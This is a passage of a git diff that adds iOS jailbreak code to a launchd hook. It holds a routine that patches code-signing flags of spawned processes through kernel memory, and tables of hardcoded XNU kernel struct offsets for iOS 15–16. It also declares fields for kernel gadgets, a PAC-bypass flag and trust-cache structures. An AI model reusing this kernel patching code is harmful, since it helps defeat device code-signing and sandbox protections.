DOPAMINE_EXEC_PATCH_H + +#import + +void initSpawnExecPatch(); +void patchExecAdd(int callerPid, const char* exec_path, bool resume); +void patchExecDel(int callerPid, const char* exec_path); + +#endif //DOPAMINE_EXEC_PATCH_H diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m new file mode 100644 index 00000000..1a7a5c2e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/exec_patch.m @@ -0,0 +1,74 @@ +// +// Created by Ylarod on 2024/3/15. +// + +#include "exec_patch.h" +#import + +#import "log.h" +#import "kernel.h" +#import "util.h" + +BOOL gSpawnExecPatchTimerSuspend; +dispatch_queue_t gSpawnExecPatchQueue = nil; +NSMutableDictionary *gSpawnExecPatchArray = nil; + +void spawnExecPatchTimer() { + @autoreleasepool { + + for (NSNumber *processId in [gSpawnExecPatchArray copy]) { + + pid_t pid = [processId intValue]; + bool should_resume = [gSpawnExecPatchArray[processId] boolValue]; + + bool paused = false; + if (proc_paused(pid, &paused) != 0) { + JBLogDebug("spawnExecPatch: invalid pid: %d, total=%d", pid, gSpawnExecPatchArray.count); + [gSpawnExecPatchArray removeObjectForKey:processId]; + continue; + } else if (paused) { + JBLogDebug("spawnExecPatch: patch for process: %d resume=%d, total=%d", pid, should_resume, + gSpawnExecPatchArray.count); + proc_csflags_patch(pid); + if (should_resume) { + JBLogDebug("spawnExecPatch: resume process: %d", pid); + kill(pid, SIGCONT); + } + [gSpawnExecPatchArray removeObjectForKey:processId]; + continue; + } + } + if (gSpawnExecPatchArray.count) { + dispatch_async(gSpawnExecPatchQueue, ^{ spawnExecPatchTimer(); }); + usleep(5 * 1000); + } else { + gSpawnExecPatchTimerSuspend = YES; + } + + } +} + +void initSpawnExecPatch() { + gSpawnExecPatchArray = [[NSMutableDictionary alloc] init]; + gSpawnExecPatchQueue = dispatch_queue_create("spawnExecPatchQueue", DISPATCH_QUEUE_SERIAL); + gSpawnExecPatchTimerSuspend = YES; +} + +void patchExecAdd(int callerPid, const char *exec_path, bool resume) { + JBLogDebug("spawnExecPatch: add exec patch: %d %s resume=%d", callerPid, exec_path, resume); + dispatch_async(gSpawnExecPatchQueue, ^{ + [gSpawnExecPatchArray setObject:@(resume) forKey:@(callerPid)]; + if (gSpawnExecPatchTimerSuspend) { + JBLogDebug("spawnExecPatch: wakeup spawnExecPatchTimer..."); + dispatch_async(gSpawnExecPatchQueue, ^{ spawnExecPatchTimer(); }); + gSpawnExecPatchTimerSuspend = NO; + } + }); +} + +void patchExecDel(int callerPid, const char *exec_path) { + JBLogDebug("spawnExecPatch: del exec patch: %d %s", callerPid, exec_path); + dispatch_async(gSpawnExecPatchQueue, ^{ + [gSpawnExecPatchArray removeObjectForKey:@(callerPid)]; + }); +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/info.c b/RootHelperSample/launchdshim/launchdhook/jbserver/info.c new file mode 100644 index 00000000..42660fb2 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/info.c @@ -0,0 +1,420 @@ +#include "info.h" +#include "kernel.h" +#include "machine_info.h" +// #include "primitives.h" +#include "../fun/krw.h" +#include +#include +#include +#include + +struct system_info gSystemInfo = { 0 }; + +void jbinfo_initialize_dynamic_offsets(xpc_object_t xoffsetDict) +{ + SYSTEM_INFO_DESERIALIZE(xoffsetDict); +} + +void jbinfo_initialize_hardcoded_offsets(void) +{ + struct utsname name; + uname(&name); + char *xnuVersion = name.release; + + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + + bool hasJitbox = (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15 + cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16 + cpuFamily == CPUFAMILY_ARM_COLL); // A17 + + uint32_t taskJitboxAdjust = 0x0; + if (hasJitbox) { + taskJitboxAdjust = 0x10; + if (strcmp(xnuVersion, "22.0.0") >= 0) { + // In iOS 16, there is a new jitbox related attribute + taskJitboxAdjust = 0x18; + } + } + + uint32_t pmapEl2Adjust = ((kconstant(kernel_el) == 2) ? 8 : 0); + +#ifndef __arm64e__ + uint32_t pmapA11Adjust = 0; + if (cpuFamily == CPUFAMILY_ARM_MONSOON_MISTRAL) { + if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+ + pmapA11Adjust = 1; + if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+ + pmapA11Adjust = 2; + } + } + } +#endif + + // proc + gSystemInfo.kernelStruct.proc.list_next = 0x0; + gSystemInfo.kernelStruct.proc.list_prev = 0x8; + gSystemInfo.kernelStruct.proc.task = 0x10; + gSystemInfo.kernelStruct.proc.pptr = 0x18; + gSystemInfo.kernelStruct.proc.pid = 0x68; + + // filedesc + gSystemInfo.kernelStruct.filedesc.ofiles_start = 0x20; + + // file + gSystemInfo.kernelStruct.fileproc.fileglob = 0x10; + gSystemInfo.kernelStruct.fileglob.vnode = 0x38; + + // file + gSystemInfo.kernelStruct.fileproc.fileglob = 0x10; + gSystemInfo.kernelStruct.fileglob.vnode = 0x38; + + // vnode + gSystemInfo.kernelStruct.vnode.id = 0x74; + gSystemInfo.kernelStruct.vnode.usecount = 0x60; + gSystemInfo.kernelStruct.vnode.ncchildren.tqh_first = 0x30; + gSystemInfo.kernelStruct.vnode.ncchildren.tqh_last = 0x38; + gSystemInfo.kernelStruct.vnode.parent = 0xc0; + gSystemInfo.kernelStruct.vnode.nclinks.lh_first = 0x40; + + // namecache + gSystemInfo.kernelStruct.namecache.smr = false; + gSystemInfo.kernelStruct.namecache.child.tqe_next = 0x10; + gSystemInfo.kernelStruct.namecache.child.tqe_prev = 0x18; + gSystemInfo.kernelStruct.namecache.hash.le_next = 0x30; + gSystemInfo.kernelStruct.namecache.hash.le_prev = 0x38; + gSystemInfo.kernelStruct.namecache.dvp = 0x40; + gSystemInfo.kernelStruct.namecache.vp = 0x48; + gSystemInfo.kernelStruct.namecache.hashval = 0x50; + gSystemInfo.kernelStruct.namecache.name = 0x58; + + // task + gSystemInfo.kernelStruct.task.map = 0x28; + gSystemInfo.kernelStruct.task.threads = 0x60; + + // ipc_space + gSystemInfo.kernelStruct.ipc_space.table = 0x20; + gSystemInfo.kernelStruct.ipc_space.table_uses_smr = false; + + // ipc_entry + gSystemInfo.kernelStruct.ipc_entry.object = 0x0; + gSystemInfo.kernelStruct.ipc_entry.struct_size = 0x18; + + // vm_map + gSystemInfo.kernelStruct.vm_map.hdr = 0x10; + + // pmap + gSystemInfo.kernelStruct.pmap.tte = 0x0; + gSystemInfo.kernelStruct.pmap.ttep = 0x8; +#ifdef __arm64e__ + gSystemInfo.kernelStruct.pmap.pmap_cs_main = 0x90; + gSystemInfo.kernelStruct.pmap.sw_asid = 0xBE + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.wx_allowed = 0xC2 + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.type = 0xC8 + pmapEl2Adjust; +#else + gSystemInfo.kernelStruct.pmap.sw_asid = 0x96; + gSystemInfo.kernelStruct.pmap.wx_allowed = 0; + gSystemInfo.kernelStruct.pmap.type = 0x9c + pmapA11Adjust; +#endif + +#ifdef __arm64e__ + // pmap_cs_region + gSystemInfo.kernelStruct.pmap_cs_region.pmap_cs_region_next = 0x0; + gSystemInfo.kernelStruct.pmap_cs_region.cd_entry = 0x28; + + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.pmap_cs_code_directory_next = 0x0; + gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x50; + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x9C; +#endif + + // pt_desc + gSystemInfo.kernelStruct.pt_desc.pmap = 0x10; + gSystemInfo.kernelStruct.pt_desc.va = 0x18; + gSystemInfo.kernelStruct.pt_desc.ptd_info = koffsetof(pt_desc, va) + (kconstant(PT_INDEX_MAX) * sizeof(uint64_t)); + + // vm_map_header + gSystemInfo.kernelStruct.vm_map_header.links = 0x0; + + // vm_map_entry + gSystemInfo.kernelStruct.vm_map_entry.links = 0x0; + gSystemInfo.kernelStruct.vm_map_entry.flags = 0x48; + + // vm_map_links + gSystemInfo.kernelStruct.vm_map_links.prev = 0x0; + gSystemInfo.kernelStruct.vm_map_links.next = 0x8; + gSystemInfo.kernelStruct.vm_map_links.min = 0x10; + gSystemInfo.kernelStruct.vm_map_links.max = 0x18; + + // ucred + uint32_t ucred_cr_posix = 0x18; + gSystemInfo.kernelStruct.ucred.uid = ucred_cr_posix + 0x0; + gSystemInfo.kernelStruct.ucred.ruid = ucred_cr_posix + 0x4; + gSystemInfo.kernelStruct.ucred.svuid = ucred_cr_posix + 0x8; + gSystemInfo.kernelStruct.ucred.groups = ucred_cr_posix + 0x10; + gSystemInfo.kernelStruct.ucred.rgid = ucred_cr_posix + 0x50; + gSystemInfo.kernelStruct.ucred.svgid = ucred_cr_posix + 0x54; + gSystemInfo.kernelStruct.ucred.label = 0x78; + + if (strcmp(xnuVersion, "21.0.0") >= 0) { // iOS 15+ + // proc + gSystemInfo.kernelStruct.proc.svuid = 0x3C; + gSystemInfo.kernelStruct.proc.svgid = 0x40; + gSystemInfo.kernelStruct.proc.ucred = 0xD8; + gSystemInfo.kernelStruct.proc.fd = 0xE0; + gSystemInfo.kernelStruct.proc.flag = 0x1BC; + gSystemInfo.kernelStruct.proc.textvp = 0x2A8; + gSystemInfo.kernelStruct.proc.csflags = 0x300; + + // task +#ifdef __arm64e__ + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x5B0 + taskJitboxAdjust; +#else + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x590; +#endif + + // ipc_port + gSystemInfo.kernelStruct.ipc_port.kobject = 0x58; + + // vm_map + gSystemInfo.kernelStruct.vm_map.flags = 0x11C; + + // trustcache + gSystemInfo.kernelStruct.trustcache.nextptr = 0x0; + gSystemInfo.kernelStruct.trustcache.fileptr = 0x8; + gSystemInfo.kernelStruct.trustcache.struct_size = 0x10; + + if (strcmp(xnuVersion, "21.2.0") >= 0) { // iOS 15.2+ + // proc + gSystemInfo.kernelStruct.proc.ucred = 0x0; // Moved to proc_ro + gSystemInfo.kernelStruct.proc.csflags = 0x0; // Moved to proc_ro + gSystemInfo.kernelStruct.proc.proc_ro = 0x20; + gSystemInfo.kernelStruct.proc.svuid = 0x44; + gSystemInfo.kernelStruct.proc.svgid = 0x48; + gSystemInfo.kernelStruct.proc.fd = 0xD8; + gSystemInfo.kernelStruct.proc.flag = 0x264; + gSystemInfo.kernelStruct.proc.textvp = 0x358; + + // proc_ro + gSystemInfo.kernelStruct.proc_ro.exists = true; + gSystemInfo.kernelStruct.proc_ro.csflags = 0x1C; + gSystemInfo.kernelStruct.proc_ro.ucred = 0x20; + + // task +#ifdef __arm64e__ + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x580 + taskJitboxAdjust; +#else + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x560; +#endif + if (strcmp(xnuVersion, "21.4.0") >= 0) { // iOS 15.4+ + // proc + gSystemInfo.kernelStruct.proc.textvp = 0x350; + + // vm_map + gSystemInfo.kernelStruct.vm_map.flags = 0x94; + + // ipc_port + gSystemInfo.kernelStruct.ipc_port.kobject = 0x48; + + if (strcmp(xnuVersion, "22.0.0") >= 0) { // iOS 16+ + gSystemInfo.kernelConstant.smrBase = 3; + + // proc + gSystemInfo.kernelStruct.proc.task = 0x0; // Removed, task is now at (proc + sizeof(proc)) + gSystemInfo.kernelStruct.proc.pptr = 0x10; + gSystemInfo.kernelStruct.proc.proc_ro = 0x18; + gSystemInfo.kernelStruct.proc.svuid = 0x3C; + gSystemInfo.kernelStruct.proc.svgid = 0x40; + gSystemInfo.kernelStruct.proc.pid = 0x60; + gSystemInfo.kernelStruct.proc.fd = 0xD8; + gSystemInfo.kernelStruct.proc.flag = 0x25C; + gSystemInfo.kernelStruct.proc.textvp = 0x350; + + gSystemInfo.kernelStruct.proc_ro.syscall_filter_mask = 0x28; + gSystemInfo.kernelStruct.proc_ro.mach_trap_filter_mask = 0x68; + gSystemInfo.kernelStruct.proc_ro.mach_kobj_filter_mask = 0x70; + + // task +#ifdef __arm64e__ + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x548 + taskJitboxAdjust; +#else + gSystemInfo.kernelStruct.task.task_can_transfer_memory_ownership = 0x528; +#endif + // vm_map + gSystemInfo.kernelStruct.vm_map.flags = 0xB4; + + // trustcache + gSystemInfo.kernelStruct.trustcache.nextptr = 0x0; + gSystemInfo.kernelStruct.trustcache.prevptr = 0x8; + gSystemInfo.kernelStruct.trustcache.size = 0x18; + gSystemInfo.kernelStruct.trustcache.fileptr = 0x20; + gSystemInfo.kernelStruct.trustcache.struct_size = 0x28; + + // pmap +#ifdef __arm64e__ + gSystemInfo.kernelStruct.pmap.sw_asid = 0xB6 + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.wx_allowed = 0xBA + pmapEl2Adjust; + gSystemInfo.kernelStruct.pmap.type = 0xC0 + pmapEl2Adjust; +#else + gSystemInfo.kernelStruct.pmap.sw_asid = 0x8e; + gSystemInfo.kernelStruct.pmap.wx_allowed = 0; + gSystemInfo.kernelStruct.pmap.type = 0x94 + pmapA11Adjust; +#endif + +#ifdef __arm64e__ + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.main_binary = 0x190; + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1DC; +#endif + + if (strcmp(xnuVersion, "22.1.0") >= 0) { // iOS 16.1+ + gSystemInfo.kernelStruct.ipc_space.table_uses_smr = true; + if (strcmp(xnuVersion, "22.3.0") >= 0) { // iOS 16.3+ + gSystemInfo.kernelConstant.smrBase = 2; + if (strcmp(xnuVersion, "22.4.0") >= 0) { // iOS 16.4+ + // namecache + gSystemInfo.kernelStruct.namecache.smr = true; + gSystemInfo.kernelStruct.namecache.dvp = 0x48; + gSystemInfo.kernelStruct.namecache.vp = 0x50; + gSystemInfo.kernelStruct.namecache.hashval = 0x58; + gSystemInfo.kernelStruct.namecache.name = 0x60; + + // proc + gSystemInfo.kernelStruct.proc.flag = 0x454; + gSystemInfo.kernelStruct.proc.textvp = 0x548; + +#ifdef __arm64e__ + // pmap_cs_code_directory + gSystemInfo.kernelStruct.pmap_cs_code_directory.trust = 0x1EC; +#endif + + if (strcmp(xnuVersion, "22.4.0") == 0) { // iOS 16.4 ONLY + // iOS 16.4 beta 1-3 use the old proc struct, 16.4b4+ use new + if (gSystemInfo.kernelStruct.proc.struct_size != 0x730) { + gSystemInfo.kernelStruct.proc.flag = 0x25C; + gSystemInfo.kernelStruct.proc.textvp = 0x350; + } + } + } + } + } + } + } + } + } +} + +void jbinfo_initialize_boot_constants(void) +{ + gSystemInfo.kernelConstant.base = kconstant(staticBase) + gSystemInfo.kernelConstant.slide; + gSystemInfo.kernelConstant.virtBase = kread64(ksymbol(gVirtBase)); + //gSystemInfo.kernelConstant.virtSize = ...; + gSystemInfo.kernelConstant.physBase = kread64(ksymbol(gPhysBase)); + gSystemInfo.kernelConstant.physSize = kread64(ksymbol(gPhysSize)); + gSystemInfo.kernelConstant.cpuTTEP = kread64(ksymbol(cpu_ttep)); +} + +xpc_object_t jbinfo_get_serialized(void) +{ + xpc_object_t systemInfo = xpc_dictionary_create_empty(); + SYSTEM_INFO_SERIALIZE(systemInfo); + return systemInfo; +} + +uint64_t get_vm_real_kernel_page_size(void) +{ + static uint64_t real_kernel_page_size = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + real_kernel_page_size = vm_kernel_page_size; + + // vm_kernel_page_size is WRONG on A8X + // Screw Apple + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + real_kernel_page_size = 0x1000; + } + }); + return real_kernel_page_size; +} + + +uint64_t get_vm_real_kernel_page_shift(void) +{ + static uint64_t real_kernel_page_shift = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + real_kernel_page_shift = vm_kernel_page_shift; + + // vm_kernel_page_shift is WRONG on A8X + // Screw Apple + cpu_subtype_t cpuFamily = 0; + size_t cpuFamilySize = sizeof(cpuFamily); + sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0); + if (cpuFamily == CPUFAMILY_ARM_TYPHOON) { + real_kernel_page_shift = 14; + } + }); + return real_kernel_page_shift; +} + +uint64_t get_l1_block_size(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 0x1000000000; + case 0x1000: + return 0x40000000; + default: + return 0; + } +} + +uint64_t get_l1_block_mask(void) +{ + return get_l1_block_size() - 1; +} + +uint64_t get_l1_block_count(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 8; + case 0x1000: + return 256; + default: + return 0; + } +} + +uint64_t get_l2_block_size(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 0x2000000; + case 0x1000: + return 0x200000; + default: + return 0; + } +} + +uint64_t get_l2_block_mask(void) +{ + return get_l2_block_size() - 1; +} + +uint64_t get_l2_block_count(void) +{ + switch (vm_real_kernel_page_size) { + case 0x4000: + return 2048; + case 0x1000: + return 512; + default: + return 0; + } +} diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/info.h b/RootHelperSample/launchdshim/launchdhook/jbserver/info.h new file mode 100644 index 00000000..d7293930 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/info.h @@ -0,0 +1,538 @@ +#ifndef INFO_H +#define INFO_H + +#include +#include +#include +#include +#include + +struct system_info { + struct { + uint64_t slide; + uint64_t staticBase; + uint64_t base; + uint64_t virtBase; + uint64_t virtSize; + uint64_t physBase; + uint64_t physSize; + uint64_t cpuTTEP; + uint64_t kernel_el; + uint64_t pointer_mask; + uint64_t T1SZ_BOOT; + uint64_t ARM_TT_L1_INDEX_MASK; + uint64_t smrBase; + uint64_t PT_INDEX_MAX; + uint64_t nsysent; + uint64_t mach_trap_count; + uint64_t nchashtbl; + uint64_t nchashmask; + } kernelConstant; + + struct { + uint64_t usesPACBypass; + char *rootPath; + uint64_t jbrand; + } jailbreakInfo; + + struct { + bool markAppsAsDebugged; + } jailbreakSettings; + + struct { + // Functions + uint64_t perfmon_dev_open; + uint64_t vn_kqfilter; + uint64_t proc_find; + uint64_t proc_rele; + uint64_t kalloc_data_external; + uint64_t kfree_data_external; + uint64_t ml_sign_thread_state; + uint64_t pmap_alloc_page_for_kern; + uint64_t pmap_create_options; + uint64_t pmap_enter_options_addr; + uint64_t pmap_mark_page_as_ppl_page; + uint64_t pmap_nest; + uint64_t pmap_remove_options; + uint64_t pmap_set_nested; + uint64_t hw_lck_ticket_reserve_orig_allow_invalid; + uint64_t exception_return; + uint64_t mac_label_set; + + // Variables + uint64_t perfmon_devices; + uint64_t cdevsw; + uint64_t allproc; + uint64_t gPhysBase; + uint64_t gPhysSize; + uint64_t gVirtBase; + uint64_t cpu_ttep; + uint64_t ptov_table; + uint64_t vm_first_phys; + uint64_t vm_first_phys_ppnum; + uint64_t vm_last_phys; + uint64_t pv_head_table; + uint64_t pp_attr_table; + uint64_t vm_page_array_beginning_addr; + uint64_t vm_page_array_ending_addr; + uint64_t pmap_image4_trust_caches; + uint64_t ppl_trust_cache_rt; + uint64_t mach_kobj_count; + uint64_t developer_mode_enabled; + } kernelSymbol; + + struct { + uint64_t pacda; + uint64_t hw_lck_ticket_reserve_orig_allow_invalid_signed; + uint64_t ldp_x0_x1_x8; + uint64_t br_x22; + uint64_t exception_return_after_check; + uint64_t exception_return_after_check_no_restore; + uint64_t str_x0_x19_ldr_x20; + uint64_t str_x8_x0; + uint64_t str_x8_x9; + uint64_t kcall_return; + } kernelGadget; + + struct { + struct { + uint32_t list_next; + uint32_t list_prev; + uint32_t task; + uint32_t pptr; + uint32_t proc_ro; + uint32_t svuid; + uint32_t svgid; + uint32_t pid; + uint32_t fd; + uint32_t flag; + uint32_t textvp; + + uint32_t ucred; + uint32_t csflags; + uint32_t syscall_filter_mask; + uint32_t struct_size; + } proc; + + struct { + bool exists; + uint32_t ucred; + uint32_t csflags; + uint32_t syscall_filter_mask; + uint32_t mach_trap_filter_mask; + uint32_t mach_kobj_filter_mask; + } proc_ro; + + struct { + uint64_t ofiles_start; // fd_ofiles + } filedesc; + + struct { + uint32_t fileglob; // fp_glob + } fileproc; + + struct { + uint32_t vnode; // fg_data + } fileglob; + + struct { + uint32_t id; + uint32_t usecount; + struct { + uint32_t tqh_first; + uint32_t tqh_last; + } ncchildren; + uint32_t parent; + struct { + uint32_t lh_first; + } nclinks; + } vnode; + + struct { + bool smr; + struct { + uint32_t tqe_next; + uint32_t tqe_prev; + } child; + struct { + uint32_t le_next; + uint32_t le_prev; + } hash; + uint32_t dvp; + uint32_t vp; + uint32_t hashval; + uint32_t name; + } namecache; + + struct { + uint32_t uid; + uint32_t ruid; + uint32_t svuid; + uint32_t groups; + uint32_t rgid; + uint32_t svgid; + uint32_t label; + } ucred; + + struct { + uint32_t map; + uint32_t threads; + uint32_t itk_space; + uint32_t task_can_transfer_memory_ownership; + uint32_t mach_trap_filter_mask; + uint32_t mach_kobj_filter_mask; + } task; + + struct { + uint32_t recover; + uint32_t machine_kstackptr; + uint32_t machine_CpuDatap; + uint32_t machine_contextData; + } thread; + + struct { + uint32_t table; + bool table_uses_smr; + } ipc_space; + + struct { + uint32_t object; + uint32_t struct_size; + } ipc_entry; + + struct { + uint32_t kobject; + } ipc_port; + + struct { + uint32_t hdr; + uint32_t pmap; + uint32_t flags; + } vm_map; + + struct { + uint32_t links; + } vm_map_header; + + struct { + uint32_t links; + uint32_t flags; + } vm_map_entry; + + struct { + uint32_t prev; + uint32_t next; + uint32_t min; + uint32_t max; + } vm_map_links; + + struct { + uint32_t tte; + uint32_t ttep; + uint32_t pmap_cs_main; + uint32_t sw_asid; + uint32_t wx_allowed; + uint32_t type; + } pmap; + + struct { + uint32_t pmap_cs_region_next; + uint32_t cd_entry; + } pmap_cs_region; + + struct { + uint32_t pmap_cs_code_directory_next; + uint32_t main_binary; + uint32_t trust; + } pmap_cs_code_directory; + + struct { + uint32_t pmap; + uint32_t va; + uint32_t ptd_info; + } pt_desc; + + struct { + uint32_t nextptr; + uint32_t prevptr; + uint32_t size; + uint32_t fileptr; + + uint32_t struct_size; + } trustcache; + } kernelStruct; +}; + +extern struct system_info gSystemInfo; + +#define KERNEL_CONSTANTS_ITERATE(ctx, iterator) \ + iterator(ctx, kernelConstant.slide); \ + iterator(ctx, kernelConstant.staticBase); \ + iterator(ctx, kernelConstant.base); \ + iterator(ctx, kernelConstant.virtBase); \ + iterator(ctx, kernelConstant.virtSize); \ + iterator(ctx, kernelConstant.physBase); \ + iterator(ctx, kernelConstant.physSize); \ + iterator(ctx, kernelConstant.cpuTTEP); \ + iterator(ctx, kernelConstant.kernel_el); \ + iterator(ctx, kernelConstant.pointer_mask); \ + iterator(ctx, kernelConstant.T1SZ_BOOT); \ + iterator(ctx, kernelConstant.ARM_TT_L1_INDEX_MASK); \ + iterator(ctx, kernelConstant.smrBase); \ + iterator(ctx, kernelConstant.PT_INDEX_MAX); \ + iterator(ctx, kernelConstant.nsysent); \ + iterator(ctx, kernelConstant.mach_trap_count); \ + iterator(ctx, kernelConstant.nchashtbl); \ + iterator(ctx, kernelConstant.nchashmask); + +#define JAILBREAK_INFO_ITERATE(ctx, iterator) \ + iterator(ctx, jailbreakInfo.usesPACBypass); \ + iterator(ctx, jailbreakInfo.rootPath); \ + iterator(ctx, jailbreakInfo.jbrand); + +#define JAILBREAK_SETTINGS_ITERATE(ctx, iterator) \ + iterator(ctx, jailbreakSettings.markAppsAsDebugged); + +#define KERNEL_SYMBOLS_ITERATE(ctx, iterator) \ + iterator(ctx, kernelSymbol.perfmon_dev_open); \ + iterator(ctx, kernelSymbol.vn_kqfilter); \ + iterator(ctx, kernelSymbol.proc_find); \ + iterator(ctx, kernelSymbol.proc_rele); \ + iterator(ctx, kernelSymbol.kalloc_data_external); \ + iterator(ctx, kernelSymbol.kfree_data_external); \ + iterator(ctx, kernelSymbol.ml_sign_thread_state); \ + iterator(ctx, kernelSymbol.pmap_alloc_page_for_kern); \ + iterator(ctx, kernelSymbol.pmap_create_options); \ + iterator(ctx, kernelSymbol.pmap_enter_options_addr); \ + iterator(ctx, kernelSymbol.pmap_mark_page_as_ppl_page); \ + iterator(ctx, kernelSymbol.pmap_nest); \ + iterator(ctx, kernelSymbol.pmap_remove_options); \ + iterator(ctx, kernelSymbol.pmap_set_nested); \ + iterator(ctx, kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid); \ + iterator(ctx, kernelSymbol.exception_return); \ + iterator(ctx, kernelSymbol.mac_label_set); \ + \ + iterator(ctx, kernelSymbol.perfmon_devices); \ + iterator(ctx, kernelSymbol.cdevsw); \ + iterator(ctx, kernelSymbol.allproc); \ + iterator(ctx, kernelSymbol.gPhysBase); \ + iterator(ctx, kernelSymbol.gPhysSize); \ + iterator(ctx, kernelSymbol.gVirtBase); \ + iterator(ctx, kernelSymbol.cpu_ttep); \ + iterator(ctx, kernelSymbol.ptov_table); \ + iterator(ctx, kernelSymbol.vm_first_phys); \ + iterator(ctx, kernelSymbol.vm_first_phys_ppnum); \ + iterator(ctx, kernelSymbol.vm_last_phys); \ + iterator(ctx, kernelSymbol.pv_head_table); \ + iterator(ctx, kernelSymbol.pp_attr_table); \ + iterator(ctx, kernelSymbol.vm_page_array_beginning_addr); \ + iterator(ctx, kernelSymbol.vm_page_array_ending_addr); \ + iterator(ctx, kernelSymbol.pmap_image4_trust_caches); \ + iterator(ctx, kernelSymbol.ppl_trust_cache_rt); \ + iterator(ctx, kernelSymbol.mach_kobj_count); \ + iterator(ctx, kernelSymbol.developer_mode_enabled); + +#define KERNEL_GADGETS_ITERATE(ctx, iterator) \ + iterator(ctx, kernelGadget.pacda); \ + iterator(ctx, kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed); \ + iterator(ctx, kernelGadget.ldp_x0_x1_x8); \ + iterator(ctx, kernelGadget.br_x22); \ + iterator(ctx, kernelGadget.exception_return_after_check); \ + iterator(ctx, kernelGadget.exception_return_after_check_no_restore); \ + iterator(ctx, kernelGadget.str_x0_x19_ldr_x20); \ + iterator(ctx, kernelGadget.str_x8_x0); \ + iterator(ctx, kernelGadget.str_x8_x9); \ + iterator(ctx, kernelGadget.kcall_return); + +#define KERNEL_STRUCTS_ITERATE(ctx, iterator) \ + iterator(ctx, kernelStruct.proc.list_next); \ + iterator(ctx, kernelStruct.proc.list_prev); \ + iterator(ctx, kernelStruct.proc.task); \ + iterator(ctx, kernelStruct.proc.pptr); \ + iterator(ctx, kernelStruct.proc.proc_ro); \ + iterator(ctx, kernelStruct.proc.svuid); \ + iterator(ctx, kernelStruct.proc.svgid); \ + iterator(ctx, kernelStruct.proc.pid); \ + iterator(ctx, kernelStruct.proc.fd); \ + iterator(ctx, kernelStruct.proc.flag); \ + iterator(ctx, kernelStruct.proc.textvp); \ + iterator(ctx, kernelStruct.proc.ucred); \ + iterator(ctx, kernelStruct.proc.csflags); \ + iterator(ctx, kernelStruct.proc.syscall_filter_mask); \ + iterator(ctx, kernelStruct.proc.struct_size); \ + \ + iterator(ctx, kernelStruct.proc_ro.exists); \ + iterator(ctx, kernelStruct.proc_ro.ucred); \ + iterator(ctx, kernelStruct.proc_ro.csflags); \ + iterator(ctx, kernelStruct.proc_ro.syscall_filter_mask); \ + iterator(ctx, kernelStruct.proc_ro.mach_trap_filter_mask); \ + iterator(ctx, kernelStruct.proc_ro.mach_kobj_filter_mask); \ + \ + iterator(ctx, kernelStruct.filedesc.ofiles_start); \ + iterator(ctx, kernelStruct.fileproc.fileglob); \ + iterator(ctx, kernelStruct.fileglob.vnode); \ + \ + iterator(ctx, kernelStruct.vnode.id); \ + iterator(ctx, kernelStruct.vnode.usecount); \ + iterator(ctx, kernelStruct.vnode.ncchildren.tqh_first); \ + iterator(ctx, kernelStruct.vnode.ncchildren.tqh_last); \ + iterator(ctx, kernelStruct.vnode.parent); \ + iterator(ctx, kernelStruct.vnode.nclinks.lh_first); \ + \ + iterator(ctx, kernelStruct.namecache.smr); \ + iterator(ctx, kernelStruct.namecache.child.tqe_next); \ + iterator(ctx, kernelStruct.namecache.child.tqe_prev); \ + iterator(ctx, kernelStruct.namecache.hash.le_next); \ + iterator(ctx, kernelStruct.namecache.hash.le_prev); \ + iterator(ctx, kernelStruct.namecache.dvp); \ + iterator(ctx, kernelStruct.namecache.vp); \ + iterator(ctx, kernelStruct.namecache.hashval); \ + iterator(ctx, kernelStruct.namecache.name); \ + \ + iterator(ctx, kernelStruct.ucred.uid); \ + iterator(ctx, kernelStruct.ucred.ruid); \ + iterator(ctx, kernelStruct.ucred.svuid); \ + iterator(ctx, kernelStruct.ucred.groups); \ + iterator(ctx, kernelStruct.ucred.rgid); \ + iterator(ctx, kernelStruct.ucred.svgid); \ + iterator(ctx, kernelStruct.ucred.label); \ + \ + iterator(ctx, kernelStruct.task.map); \ + iterator(ctx, kernelStruct.task.threads); \ + iterator(ctx, kernelStruct.task.itk_space); \ + iterator(ctx, kernelStruct.task.task_can_transfer_memory_ownership); \ + iterator(ctx, kernelStruct.task.mach_trap_filter_mask); \ + iterator(ctx, kernelStruct.task.mach_kobj_filter_mask); \ + 